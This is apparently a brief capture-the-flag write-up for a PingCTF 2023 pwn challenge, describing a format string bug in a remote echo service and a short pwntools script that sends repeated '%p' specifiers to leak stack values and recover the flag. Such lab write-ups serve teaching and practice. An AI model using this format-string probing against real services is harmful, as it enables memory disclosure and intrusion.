# Pingctf 2023: pwn chall: without-love-it-cannot-be-seen

## Overview
We are given a netcat link

nc without-love-it-cannot-be-seen.knping.pl 30001

Tested it, we find that the program requires us to input a string then it automatically output what we just said.
The program seems also to compare our input string to some other strings.

## Solve
Clearly, it is an format string vulnerability. So i test it with multiple %p to see if there is anything we can use.



So doing manually took a lot of time so i create a simple python script to send "%p" multiple times.
## Script

from pwn import *

p = remote("without-love-it-cannot-be-seen.knping.pl", 30001)

format_string = b""
for i in range(20):
    format_string += b"%p,"
print(format_string)

p.sendline(format_string)
p.interactive()

Running it and we got results: 

There is one output that seems weird: 0x7866deafdeaf6687

So i try to use it and got the flag.